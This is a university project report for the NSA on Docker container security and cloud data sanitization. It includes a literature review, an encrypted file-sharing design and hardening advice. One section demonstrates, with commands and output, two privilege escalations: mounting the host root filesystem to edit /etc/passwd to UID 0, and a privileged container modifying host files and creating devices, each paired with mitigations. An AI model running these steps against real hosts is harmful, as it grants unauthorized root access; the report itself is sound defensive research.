

HIGH ASSURANCE CLOUD COMPUTE AND STORAGE NATIONAL SECURITY AGENCY



Project Report

Prepared for NSA

May 7th, 2021

Technical Directors

Joshua Cline

jecline@radium.ncsc.mil

NSA

Eric Darko

eoagyen@nsa.gov

NSA

Jason Smith

Jnsmit8@nsa.gov

NSA

University Project Supervisor

Dr. Bhavani Thuraisingham

bhavani.thuraisingham@utdallas.edu

Team Members

Khalid Abusultan

Chetan Garikapati

Giakhanh Hoang

Monish Alur Gowdru

Travious Lewis

Table of Contents

Project Summary.....	4
Background	4
Motivation.....	4
Team Responsibilities	4
Deliverables.....	5
Budget.....	5
Plans.....	5
Schedule.....	5
Literature Review	6
A Measurement Study on Linux Container Security: Attacks Countermeasures [4].....	6
Securing Docker Containers from Denial of Service (DoS) Attacks [1].....	6
Docker Ecosystem - Vulnerability Analysis [2]	6
Container Security: Issues, Challenges, and the Road Ahead [5].....	7
Securing A study on Container Vulnerability Exploit Detection [3]	7
Progress.....	8
Data Gathering.....	8
SELinux	8
Exploits	8
Cloud Data Sanitization.....	8
Computing and Software Resources	9
Technical Approach to Container Analysis	10
Privilege Escalation.....	10
Docker file system	10
Docker namespace remapping.....	14
Other Hardening Techniques	17
Technical Approach for Cloud Data Sanitization	18
Lightweight Secure Cloud Implementation	19
Security Recommendations	20
Investigator Biographies.....	21
Khalid Abusultan.....	21
Chetan Garikapati.....	21
Giakhanh Hoang	21

Monish Alur Gowdru	21
Travious Lewis	22
Works Cited	23

Project Summary

Background

Container popularity has grown dramatically in recent years. Containers not only reduce the required resources for deployment, but they can be brought online or quickly deleted in a matter of seconds. However, they introduce unique new security risks. Privilege escalation and cross container threats are among the security concerns, along with the access control and disposition of data.

Docker is one such container program that is popular among developers, yet if it is not properly configured, can be exploited. The main security feature of a container is providing isolation, but in general deployments the containers share the same network bridges which can lead to network attacks between other containers and the host, breaking the isolation. Using default host hardening techniques, like using App Armor by default, gives full access to host filesystems and network while the SELinux default profile puts all docker images under the same domain so these restrictions protect the host from containers, but not containers from other containers. [2]

Typically, data sanitization in privately operated servers involves organizing the data such that each hard drive is allocated to one account or subject. When the account is deleted or done with, the hard drive is overwritten multiple times, taken out, and physically shredded. On the public cloud, the data uploaded there could be stored on multiple different hard drives in the server farm as they have RAID enabled, making it hard to locate the drives the data touched and more expensive to deal with if physical drives were to be shredded.

Motivation

Containers are the best platform for development of a project without impacting the existing project. We are interested in this project as it provides an opportunity to research on existing vulnerabilities to come up with solutions for securing containers with the help of user access to managing containers.

The government is interested in a new innovative, and comprehensive approach for securing containers and associated storage.

Team Responsibilities

- Reviewing literature on container security and vulnerabilities
- Learning to use containerization software such as Docker, container management/orchestration software such as OpenShift and Kubernetes
- Demonstrate and highlight vulnerabilities in a sandbox environment involving the tools mentioned above and other malware analysis tools as necessary
- Write weekly reports to sponsor and meet with them weekly for progress updates

Deliverables

- Proposal and Literature Review.
- Progress Report and Presentation.
- Final Report and Presentation.
- Documentation

Budget

We will use free trial versions of software such as OpenShift and if we need additional time or features, then we will need funding to continue to use that software. For now, there are no funds expected to be necessary for this project.

Plans

The group will meet weekly on Fridays at 10 am with our sponsors to check on the progress of the project. We may schedule more meetings for ourselves as necessary. We will use communication and time management to ensure project continues to progress on schedule.

Schedule

February 5: Bid due

February 12: Proposal due

February 19: Understanding the privileges that the container management software.

February 26: Baseline creating user components.

March 5: Hardening, SE-Linux for MAC.

March 12: Identifying Privilege Escalation.

March 25: Mid-term presentation submission due.

March 26: Mid-term presentation.

April 2: Create technical paper.

April 9: Sandbox experimentation

April 16: Continue sandbox experimentation.

April 23: Continue experimentation working on technical paper.

April 30: Rehearsal for final presentation & continue technical paper.

May 6: Final presentation submission due.

May 7: Final presentation & final report due.

Literature Review

[A Measurement Study on Linux Container Security: Attacks Countermeasures \[4\]](#)

The article evaluates the security of container mechanisms by manually executing the exploits on container platform and Linux platform. The article discusses the methodology of creating the exploit dataset containing 223 exploits against containers and development of two-dimensional attack taxonomy to classify collected exploits. Execution of 88 shortlisted exploits on Linux and container platform shows that there are many exploits which are still effective. In-depth analysis of privilege escalation attacks provides details of the effectiveness of kernel security mechanisms, container mechanism and CPU protection mechanisms on preventing privilege escalation against the container platform. The article includes extracting of a kernel privilege escalation attack model by analyzing the 11 exploits that could escape container boundary and gain root privilege and then proposes defense solution for all these exploits. The paper aims at proving security of container mechanism depends on the security of the kernel, while the interdependence and mutual-influence relationship requires careful configurations to effectively defeat privilege escalation attacks.

[Securing Docker Containers from Denial of Service \(DoS\) Attacks \[1\]](#)

The article discusses some of the existing vulnerabilities or threats to containerization software and management, along with existing solutions typically built within the software itself to defend against an attack, and finally discusses possible methods to prevent Denial of Service (DoS) attacks. The existing vulnerabilities discussed include the Docker Daemon Attack Surface where a shared file space between the container and host can allow an attacker to gain access to the host by exploiting that shared space. Denial of Service attacks are also discussed, where the containers can communicate directly with the host kernel allowing an exploit where DoS attacks can be performed and privilege escalation can occur. Existing solutions to help secure the containers from attacks include basic security hardening that involve enabling software security layers such as SELinux. Another existing solution involves simply configuring Docker security policies. The article proposes limiting the memory of the container, reserving memory, or at least providing a default memory limit to prevent DoS attacks.

[Docker Ecosystem - Vulnerability Analysis \[2\]](#)

The paper discusses about docker containers and various vulnerabilities the docker containers face but can be generalized to all containers. The main security feature of a container is providing Isolation but in general deployments the containers share same network bridges and can lead to ARP poisoning attacks between other containers and host breaking the isolation. Using default host hardening techniques like using App Armor by default gives full access to host filesystems and network while the SELinux default profile puts all docker images under same domain so these restrictions protect host from containers but not containers from other containers. In the context of network security, the docker daemon is controlled via a Unix socket located at `/var/run/docker.sock` and this is owned by the "root" gaining access to this socket can run any container in privileged mode this in turn causes gaining root privileges on the host system as well. In case of TCP traffic any connection can obtain root if connections are not verified via TLS. When using the container as a VM to limit the administration tasks often leads to privilege creep and

software developers repacking the code in the containers also leads to increased attack surface as they reduce the configuration flexibility on deployment environments. Finally, when the container host os is not updated either for stability or mismanagement can easily result in breaking the container isolation by exploitation by kernel vulnerabilities. The paper also provides some guidelines but some of the remedies are deployment based and application specific.

[Container Security: Issues, Challenges, and the Road Ahead \[5\]](#)

This paper focuses on detailing four general use cases to describe the security issues that come with using containers, as well as available mechanisms to secure containers. The four use cases are: (I) protecting a container from applications running inside it, (II) inter-container protection, (III) protecting the host from containers, and (IV) protecting containers from a malicious or semi-honest host. This is followed by describing some container exploits, vulnerabilities, relevant standards, and discovery tools. The software-based solutions for the first three use cases and hardware-based solution for the last use case are also discussed. The goal of the paper is to help researchers enhance their understanding of the different possible attacks and vulnerabilities of containers and to illustrate what their solutions provide, as well as highlight some open problems and future research directions.

[Securing A study on Container Vulnerability Exploit Detection \[3\]](#)

This paper focuses on a comprehensive analysis of 28 real world vulnerability attacks and test how effective container's vulnerability detections schemes are. Testing vulnerabilities using static and dynamic vulnerability attacks. The papers talked about utilizing various detection schemes to analyze container vulnerability detection. Such as K nearest neighbor scheme which uses two variables p and k to detect how many samples are identifies as anomalous. PCS + k -NN scheme which finds the presence noise (hundreds of different types of system calls). K-means clustering scheme in which clusters with small number of samples, based on a cluster size threshold is considered anomalous. And finally, SOM scheme which is a neural network that can reduce data dimensions and highlight similarities to find out anomalies. The paper found that static vulnerability scanning was insufficient since it was only able to detect 3 out of 28 vulnerabilities. Dynamic anomaly detection schemes can detect 22 vulnerabilities exploits with low positive rate. However, this is not the most accurate result. The study concluded that using a combination of both static and dynamic schemes the detection coverage was up to 86% (24 out of 28 vulnerabilities). [3] The authors of this study were able to provide a comprehensive review on using vulnerability detection schemes. The study recommends using both static and dynamic schemes to have the most accurate detections.

Progress

Data Gathering

SELinux

SELinux (Security-Enhanced Linux) is a Linux security module implementing stricter access control (such as Mandatory Access Control, or MAC) and more access control policies that administrators can use to secure their Linux installations. Developed by the NSA and Red Hat, this module would be good to have installed as a baseline for when we begin our experiments and tests for exploits.

We found that operating systems for servers such as CentOS already have SELinux installed and enabled by default when setup for the first time. This is convenient considering the administrator does not need to go through the trouble of setting up/installing SELinux into their system. On other Linux systems where SELinux does not come installed by default such as Ubuntu, one of our team members has already found a case where the attempt to install SELinux causes the OS to crash POST-BIOS. We also learned that AWS does not support SELinux on their container platforms, only on dedicated servers such as a full CentOS installation.

Exploits

The focus was on privilege escalation attacks we worked on exploits involving vertical privilege escalation in cloud mapped storage volumes using username space remapping which maps an unprivileged user to docker volume which in turn modifies files on host system to gain root access. Another exploit involved taking advantage on trusted binaries, as the docker tries loading executables with predefined names without any checks, these binaries can be modified to create new users and to obtain root access, trusted binary exploits are more effective in windows systems.

Apart from this, we also worked on network attack vectors in which a compromised cloud image when deployed with network in bridge mode ARP spoofing can occur causing DoS attacks. This can also be generalized to create DNS spoofing and perform targeted exploits by involving Phishing. Such spoofing attacks can also be passive and can be used to perform reconnaissance on the targeted cloud infrastructure and perform more sophisticated attacks. Network attack vectors can also cause privilege escalation as some of the cloud instance sockets operate in privileged mode and attaching processes to such sockets or shaping the network traffic flow to these sockets in specific way to cause buffer overflow. Overflow attacks can also lead to disclosure of sensitive info using memory dumps.

One of the remedies is to perform system hardening to reduce privilege escalation risks and when using trusted libraries File Integrity Monitoring (FIM) solution must be used, if the storage volumes are huge then the location with libraries and logs must be monitored to avoid startup exploits.

Cloud Data Sanitization

We looked at few risks associated with not considering cloud-based data storage sanitization, which includes incomplete deletion leading to access for adversaries and data spillage (for example insecure storage unit that stores data in plain text).

We read the Department of Defense standards DoD Manual 5200.01 and DoD Manual 5220.22 and found that destroying the information identified for destruction to avoid reconstruction of information is set as the standards for cloud-based sanitization. Apart from this we looked at the standards followed by leading cloud providers for data sanitization.

- Google cloud uses six layers deep data security to protect the data and has a well-protected room for erasing and safe data destruction.
- Microsoft Azure and AWS follow guidelines provided by NIST 800-88 for data sanitization.

We learned about those techniques which can be used for protecting data which includes fine graining, maintain service availability during deletion, cloud computation, complete data destruction, error handling and acknowledge users after deletion. Also, we learned existing approaches for assured deletion which includes secure overwriting, disk scrubbing, and destroying encryption keys generated to access the data.

Computing and Software Resources

We were able to successfully request and receive additional computing resources from UTD. We have a 24 thread / 96GB RAM Ubuntu host machine which is running three Red Hat Enterprise Linux (RHEL) VMs. We were also able to install an instance of Red Hat OpenShift on one of the RHEL VMs, so we now have that available to us for testing and experimentation.

Technical Approach to Container Analysis

Privilege Escalation

Docker file system

Through our experimentations on sandbox and research we found some vulnerabilities for containers. When a user is created in docker they can change their user id easily by using any text editor such as vim. The root id for a docker user is identified with 0. When a user changes their id to 0, they will also be root with full root privileges. The file that they need to modify to be user is the passwd file under homeroot/etc.

To demonstrate the vulnerability, we start by adding a new user called foo to the docker group and check if they are created successfully.

- `sudo useradd -G docker foo`
- `groups foo`

Now we will set up a password for foo to login as Figure 1 shows.

```
[insure@insure02 ~]$ sudo passwd foo
Changing password for user foo.
New password:
Retype new password:
passwd: all authentication tokens updated successfully.
[insure@insure02 ~]$
```

Figure 1: Setting up a password for user foo.

Next after we set the password for foo, we will login as foo as Figure 2 shows.

```
[insure@insure02 ~]$ su - foo
Password:
[foo@insure02 ~]$
```

Figure 2: Logging in as foo.

Now we are running as foo, we should not have any root access. Next, we will be running a container and mount the root file system of the host machine as an external volume as Figure 3 shows by the following command:

- `docker run -v /:/homeroot -it debian bash`

foo@insure02:~

```
[foo@insure02 ~]$ docker run -v /:/homeroot -it debian bash
Unable to find image 'debian:latest' locally
latest: Pulling from library/debian
bd8f6a7501cc: Pull complete
Digest: sha256:ba4a437377a0c450ac9bb634c3754a17b1f814ce6fa3157c0dc9eef431b29d1f
Status: Downloaded newer image for debian:latest
root@e51337c9d288:/# apt update
Get:1 http://security.debian.org/debian-security buster/updates InRelease [65.4 kB]
Get:2 http://deb.debian.org/debian buster InRelease [121 kB]
Get:3 http://deb.debian.org/debian buster-updates InRelease [51.9 kB]
Get:4 http://security.debian.org/debian-security buster/updates/main amd64 Packages [285 kB]
Get:5 http://deb.debian.org/debian buster/main amd64 Packages [7907 kB]
Get:6 http://deb.debian.org/debian buster-updates/main amd64 Packages [10.9 kB]
Fetched 8441 kB in 2s (4072 kB/s)
Reading package lists... Done
Building dependency tree
Reading state information... Done
2 packages can be upgraded. Run 'apt list --upgradable' to see them.
```

Figure 3: Running a container.

Foo will change their user id inside of the etc folder in the homeroot, by using vim. And replacing their id with a 0.

- `cd/homeroot/etc`
- `vim passwd`

Now inside of vim text editor we can see that the root user has an id of 0 which indicates that they are root, Figure 4 shows the root id

insure@workernode5: /etc

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,:/run/systemd/resolve:/bin/false
syslog:x:104:108:syslog:/home/syslog:/bin/false
_apt:x:105:65534:nonexistent:/bin/false
```

Figure 4: root id of 0

Based on the root id being 0, Foo is going to change their user id from 1001 to 0 (as root) to see if they could also run as root Figure 5 shows the original id of Foo. And Figure 6 shows the new user id of foo which is 0.

```
foo@insure02:~  
saslauth:x:989:76:Saslauthd user:/run/saslauthd:/sbin/nologin  
postfix:x:89:89::/var/spool/postfix:/sbin/nologin  
radvd:x:75:75:radvd user:/:/sbin/nologin  
dnsmasq:x:980:980:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin  
pegasus:x:66:65:top-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin  
pcp:x:979:979:Performance Co-Pilot:/var/lib/pcp:/sbin/nologin  
colord:x:978:978:User for colord:/var/lib/colord:/sbin/nologin  
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin  
setroubleshoot:x:977:977:/var/lib/setroubleshoot:/sbin/nologin  
grafana:x:976:976:grafana user account:/usr/share/grafana:/sbin/nologin  
abrt:x:173:173::/etc/abrt:/sbin/nologin  
sssd:x:975:975:User for sssd:/:/sbin/nologin  
flatpak:x:974:974:User for flatpak system helper:/:/sbin/nologin  
gdm:x:42:42::/var/lib/gdm:/sbin/nologin  
clevis:x:973:973:Clavis Decryption Framework unprivileged user:/var/cache/clevis:/sbin/nologin  
pcpqa:x:972:972:PCP Quality Assurance:/var/lib/pcp/testsuite:/bin/bash  
gnome-initial-setup:x:971:971::run/gnome-initial-setup:/:/sbin/nologin  
rngd:x:970:970:Random Number Generator Daemon:/var/lib/rngd:/sbin/nologin  
sshd:x:74:74:Privilege-separated SSH:/var/empty/ssh:/sbin/nologin  
dovecot:x:97:97:Dovecot IMAP server:/usr/libexec/dovecot:/sbin/nologin  
dovenull:x:969:969:Dovecot's unauthorized user:/usr/libexec/dovecot:/sbin/nologin  
tcpdump:x:72:72:::/sbin/nologin  
insure:x:1000:1000:insure:/home/insure:/bin/bash  
foo:x:1001:1001:/home/foo:/bin/bash  
~  
~  
~  
~  
-- VISUAL --
```

Figure 5: Original id of foo

```

foo@insure02:~
polkitd:x:992:987:User for polkitd:/:sbin/nologin
rtkit:x:172:172:RealtimeKit:/proc:/sbin/nologin
pipewire:x:991:986:PipeWire System Daemon:/var/run/pipewire:/sbin/nologin
pulse:x:171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
chrony:x:990:983:/:var/lib/chrony:/sbin/nologin
saslauthd:x:989:76:Saslauthd user:/run/saslauthd:/sbin/nologin
postfix:x:89:89:/:var/spool/postfix:/sbin/nologin
radvd:x:75:75:radvd user:/:sbin/nologin
dnsmasq:x:980:980:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
pegasus:x:66:65:tog-pegasus OpenPegasus WBEEM/CIIM services:/var/lib/Pegasus:/sbin/nologin
pcp:x:979:979:Performance Co-Pilot:/var/lib/pcp:/sbin/nologin
colord:x:978:978:User for colord:/var/lib/colord:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
setroubleshoot:x:977:977:/:var/lib/setroubleshoot:/sbin/nologin
grafana:x:976:976:grafana user account:/usr/share/grafana:/sbin/nologin
abrt:x:173:173:/:etc/abrt:/sbin/nologin
sssd:x:975:975:User for sssd:/:sbin/nologin
flatpak:x:974:974:User for flatpak system helper:/:sbin/nologin
gdm:x:42:42:/:var/lib/gdm:/sbin/nologin
clevis:x:973:973:Clevis Decryption Framework unprivileged user:/var/cache/clevis:/sbin/nologin
pcpqa:x:972:972:PCP Quality Assurance:/var/lib/pcp/testsuite:/bin/bash
gnome-initial-setup:x:971:971:/:run/gnome-initial-setup:/sbin/nologin
rngd:x:970:970:Random Number Generator Daemon:/var/lib/rngd:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/ssh:/sbin/nologin
dovecot:x:97:97:Dovecot IMAP server:/usr/libexec/dovecot:/sbin/nologin
dovenull:x:969:969:Dovecot's unauthorized user:/usr/libexec/dovecot:/sbin/nologin
tcpdump:x:72:72:/:sbin/nologin
insure:x:1000:1000:insure:/home/insure:/bin/bash
foo:x:0:1001:/:home/foo:/bin/bash

```

Figure 6: Foo changing their user id to 0.

After foo successfully changing their id, they will exit the container, logout and login again and will be root. Figure 7 shows that foo is still a normal user before they login again and apply the changes that we have made to the passwd file.

```

root@e51337c9d288:/homeroot/etc# exit
exit
[foo@insure02 ~]$ exit
logout
[insure@insure02 ~]$

```

Figure 7: Foo still a normal user

After logging in again the changes that we have made in the passwd file from earlier steps will take place and update the privileges of foo where foo will be root with full root privileges as Figure 8 shows.

```

root@insure02:~
[insure@insure02 ~]$ su - foo
Password:
[root@insure02 ~]#

```

Figure 8: Foo is now root

To prevent this vulnerability, you can use SELinux. It will not allow for any user to modify their user id to be the root. Therefore, best practice is always use SE Linux with containers. If a user tries the above steps when SE Linux is running, SE Linux would not allow them to modify the passwd file inside homeroot/etc. You can check the status of SELinux if it is running or not by using this command “sestatus”.

Docker namespace remapping

Namespaces in Linux systems allow for processes to run in an isolated environment, which limits their access to the host system’s resources without them being aware of their limitations. Namespaces are a good way to combat against privilege-escalation attacks in Docker. However, there exists an exploit within Docker that will allow a container running in a namespace to still receive root access to the host system. This allows the container to create and modify files and devices on the host system, which makes the system vulnerable to a malicious attack.

To start with showing this vulnerability, first the “usersns-remap” option must be enabled on the docker daemon. This will map each container that is created and run to a user namespace by default. This can be enabled by either adding the “--usersns-remap” option to the docker daemon start command, or by adding { “usersns-remap”: “default” } to the /etc/docker/daemon.json file. For our case, the daemon.json file was edited, then the Docker Daemon was started with the steps below.

- \$ sudo vi /etc/docker/daemon.json
 - { “usersns-remap”: “default” }
- \$ sudo dockerd

After the Docker Daemon is started, we start up two containers – one running privileged and the other running unprivileged. A Docker container in privileged mode receives root capabilities of its host machine. So that container will be able to create and modify files on the host, and even mount file systems and create new devices. Some images need certain privileges from the host system, like execution with the root user, to be able to function effectively, which is why the use of privileged mode for containers is enticing. However, allowing these privileges makes the system vulnerable to malicious attacks. An attacker could access the host from the privileged container and endanger the host infrastructure, or a legitimate user could abuse the privileges for malicious actions. The containers are started with the two commands below. The “--privileged” flag is used to mark a container as privileged mode. The privileged container is running an Ubuntu image from the public Docker Hub, while the unprivileged container is running an Apache web server from the public Docker Hub.

- \$ sudo docker run -itd --privileged --usersns=host --pid=host --network=host ubuntu bash
- \$ sudo docker run -itd --name my-apache-app -p 8080:80 -v “\$PWD”:/usr/local/apache2/htdocs/ httpd:2.4

A Bash session can be opened in each container using the below command. From inside each container, we can check for vulnerabilities.

- \$ docker container exec -it <container_id> /bin/bash

User namespace remapping is supposed to be a way to minimize the chances of malicious activity occurring in privileged containers. The user for that specific container is re-mapped to a less-privileged

user on the Docker host. This should limit the access that the container has because the container views the user as root, while the host does not view the user as root. However, we will show below that a user in the privileged container can still access the host and modify files and devices, which still leaves the host vulnerable to attacks.

In the below image, we open a Bash session in the privileged container and view then edit a file located on the host system.

```
insure@workernode5:~$ sudo docker container exec -it focused_lehmann /bin/bash
root@workernode5:/# cat /proc/sys/vm/swappiness
61
root@workernode5:/# echo "62" > /proc/sys/vm/swappiness
root@workernode5:/# cat /proc/sys/vm/swappiness
62
root@workernode5:/#
```

Figure 1: Bash session opened on privileged container. File then edited on the host system.

Here, we view the same file the was accessed by the privileged container directly from the host machine. First, we print the value of the file before modification by the privileged container. Then, we print the value of the file again after modification by the privileged container.

```
insure@workernode5:~$ cat /proc/sys/vm/swappiness
61
insure@workernode5:~$ cat /proc/sys/vm/swappiness
62
insure@workernode5:~$
```

Figure 2: Viewing a file on the host before and after being modified by the privileged container.

We see here that even though we have “users-remap” enabled on the Docker Daemon, the user of the privileged container is still able to access and modify a file on the host system, and the changes made are recognized by the host. This means that the host is still vulnerable to malicious activity via the modification of files in its filesystem.

Next, we attempt to create a new device on the host system from the privileged container. Successfully creating a device from the container will show that the container’s user also has root access to the host system. In the image below, a bash session has been opened on the privileged container, and the `mknod` command (used to create device files) and `sfdisk` command (used to view device information) are used to create and view details about a device from the privileged container. The creation of this device shows that the user of the privileged container has access to the host to perform actions that require elevated (root) privileges.

```

root@workernode5:/# cd /proc
root@workernode5:/proc# mknod /sampledev1 b 8 0
root@workernode5:/proc# sfdisk -d /sampledev1
label: gpt
label-id: 684E21C2-D7E2-45DD-BF51-5B5220ADF33F
device: /sampledev1
unit: sectors
first-lba: 34
last-lba: 1951399902

/sampledev1p1 : start=      2048, size=    1048576, type=C12A7328-F81F-11D2-BA4B-00A0C93EC93B, uuid=B788FAE5-0C8C-4039-9D37-B08274DC05C4, name="EFI System Partition"
/sampledev1p2 : start=    1050624, size=   1749151744, type=0FC63DAF-8483-4772-8E79-3D69D8477DE4, uuid=FA1E5576-707C-4370-ACAC-9EA32368B855
/sampledev1p3 : start=   1750202368, size=   201195520, type=0657FD6D-A44B-43C4-84E5-0933C8484F4F, uuid=C61F8F8B-78B5-4547-9D65-8B7A84F3ECE2

```

Figure 3: Creating and viewing data on a new device from the privileged container.

The same test was done from the unprivileged container. In Figure 4, we attempt to create the device `/sampledev2` and view its details. Here there is proof that this container does not have the same access as the privileged container, because it is unable to use the `sfdisk` command to view device details. To attempt to view the device details, in the Figure 5 we run the `sfdisk` command directly on the host. We see that no such device named `/sampledev2` was created, which shows that the unprivileged container does not have escalated privileges on the host system like the privileged container.

```

root@8cd82417f651:/# cd /proc/
root@8cd82417f651:/proc# mknod /sampledev2 b 8 3
root@8cd82417f651:/proc# sfdisk -d /sampledev2
sfdisk: cannot open /sampledev2: Operation not permitted

```

Figure 4: Attempting to create a new device file from the unprivileged container.

```

insure@workernode5:~$ cd /proc
insure@workernode5:/proc$ sudo sfdisk -d /sampledev2
sfdisk: cannot open /sampledev2: No such file or directory
insure@workernode5:/proc$

```

Figure 5: Attempting to view the device that the unprivileged container tried to create from the host.

One way to combat this namespace remapping vulnerability is to not use privileged containers at all. Instead, one should only give a container the specific capabilities it needs to perform its functions effectively, which is known as the principle of least privilege. This can be done by using Docker to add (and drop) capabilities to a container, which is explained in the section below.

The situation that is not handled by the solution above is when an unauthorized (or malicious) user is able to run a container in privileged mode on the host. To solve this problem, authorization plugins can be applied to the Docker daemon. Authorization plugins allow for configuration of granular access policies for managing access to the Docker daemon. A plugin can be developed and used to disallow the use of the `--privileged` flag when running Docker containers. This can be applied to the Docker daemon, which would then check every container that attempts to run. This now handles the situation where privileged containers are attempted to run on the host by an unauthorized user. A combination of implementing the principle of least privilege using `--cap-add/--cap-drop` and authorization plugins will provide a high level of security and protection against this type of privilege escalation vulnerability.

Given a bit more time for this project, we would implement an authorization plugin to prevent the use of privileged mode when running Docker containers. This would be developed with the help of Docker's authorization plugin documentation, which can be found in the link directly below.

Authorization plugin documentation: https://docs.docker.com/engine/extend/plugins_authorization/

Other Hardening Techniques

We found out that Linux hardening techniques can be used on Docker since it is based on Linux containers.

Some techniques that can be used are:

- Not running privileged on containers.
 - Using “--security-opt” for containers is encouraged.
 - This parameter is used to run a container with a specified security policy.
 - Almost no user needs to run on privileged. The daemon approach causes more vulnerabilities since malicious users can take advantage of running on privileged, and this causes security threats if poorly managed.
- Drop and observe dropped capabilities.
 - You can control different capabilities of processes in Docker by using:
 - `#docker run --cap-add //` To add the capabilities
 - `#docker run --cap-drop //` To drop the capabilities
 - Now you can drop all capabilities of Docker except `net_bin_service`, which lets us bind to a privileged process by running the following command
 - `#docker run --cap-drop ALL --cap-add net_bind_service ghost /bin/bash`

Technical Approach for Cloud Data Sanitization

We spoke with few technical experts to learn about the best method to come up with a best solution for cloud data sanitization. We found that there are mainly three ways to sanitize: physical destruction, cryptographic erasure and data erasure. As per our discussion with them we understood that cryptographic erasure is the economical method to overcome the risks associated with data exposure. Physical destruction is the only method we know of to ensure permanent erasure; provided the destruction method reduces the data medium to a mass of steaming goo. Unfortunately, this approach is not often practical. It is usually cost prohibitive. In today's virtualized world, with respect to data erasure method data is replicated many places, in a variety of ways. One must ensure that all replicas are erased. Further, electromagnetic hysteresis means that trace images of previously recorded data may be recoverable even after erasure.

Well, this has led us to move forward with cryptographic erasure solution. Also, another reason being option the option to encrypt files, neglecting involves the risk of privacy that comes into play. As a notable point, leading cloud providers are not compliant with the NIST frameworks including HIPAA because these cloud providers have a business need to see all data uploaded. In addition, they actively scan and analyze the contents uploaded, in order to provide individual personally relevant product features, such as customized search results, tailored advertising, and spam and malware detection. This essential for their business model, which takes user interests into account for monetization through advertisements. In addition, cloud providers will hold a worldwide license to use, host, store, reproduce, modify, create derivative works, communicate, publish, publicly display and distribute any data uploaded onto their servers. This means that data may persist even after it has been deleted from the cloud (incomplete data erasure which leads to data exposure) and no longer utilize the services. We found out that regarding use of data in cloud providers include third parties such as governments, social networking sites, any corporations that are collaborated with them which is not detailed in Service Level Agreement. Therefore, cryptographic method can be used for both securing the classified information on cloud and once the data is no more required can choose cryptographic erasure to completely erase the data.

Our first approach involved integrating the available well known cloud providers upload and download functionalities with the available secured file sharing services, including boxcryptor, syndocs, sookasa and virtru. Functionalities include encrypting a file while uploading and decrypting a file while downloading. Also, the owner can provide access to other users based on access control which helps to reap the benefits of data protection and secure sharing. Our goal is to provide object level protection that enables persistent access control and monitoring. The standard that we followed is the AES 256 with Galois Counter mode of encryption for the following approach which is the current standard given by Commercial National Security Algorithm suite [6] and asymmetric wrapping of data encryption keys implements RSA 2048 for maximum interoperability. But we reached a point where we had an unidentified "*Unhandled Promise Rejection Warning*" which led to an error of failed request with *status code 401*. Unfortunately, we were not able to fix the error. We planned to move ahead as we wanted to come up with something that is tangible, economical and user-friendly.

Lightweight Secure Cloud Implementation

Taking all the research we have done into account we have developed a lightweight cloud implementation where the main idea is to share files among the users using public key – private key pair of the users. The application takes all the industry standards in cryptography into consideration and implements them.

When a user creates an account on the cloud platform the application will develop an RSA key pair and for encrypting the private key the user provides the key password which is different from the account password. The key pair are encrypted and encoded before saving and the password is hashed using sCrypt algorithm which is memory intensive and very expensive to crack. The application will also encrypt file using AES-GCM with 256-bit key. The application also allows the user to provide file specific password.

When sharing a file, the owner must provide the private key to decrypt the file key and re-encrypted using the recipient public key so only the recipient will be able to decrypt it. This also provides accountability to files because a compromise in the account will not lead to compromise in the files.

The application is developed as headless REST application which enable other application to integrate with it using the API and for preventing security issues like XSS and CSRF in the UI, the application uses Spring Security which injects random tokens into webforms for identifying such attacks.

The application allows users to overwrite the files by providing private key and any decrypted file will immediately be deleted after termination of user session.

Security Recommendations

We interviewed David Willett, a security researcher for RedHat. With respect to setting up a virtual container such as Docker, it is important that “every layer come from trusted sources” with certainty and created with “minimal set of features” needed for the task it would perform. Accounts should also be setup with the “least privilege” philosophy in mind. When deploying to the public, David believes using the Software Defined Network components “to limit port visibility and enforce TLS controls” would be best.

With regards to Docker security, we recommend having known CVE patches to minimize privilege escalation attacks. David suggests using Active Directory “to provide Role Based Access Control” and “to provide centralized authentication management”. “Creating service accounts with limited privileges” ensures that users do not have access more than needed. David also recommends installing penetration detection. David suggestions line up with our research. Our docker hardening techniques section mentions how to limit user access, and not allow every user to run on privileged on containers since it is not necessary to have every user by default to run on privileged. Also have SELinux running with containers. SELinux is standard with the Linux kernel, it not being available by default should not be an issue for the most part just make sure you always check the status of it running. This will minimize privilege escalation attacks and should minimize vulnerabilities in our containers.

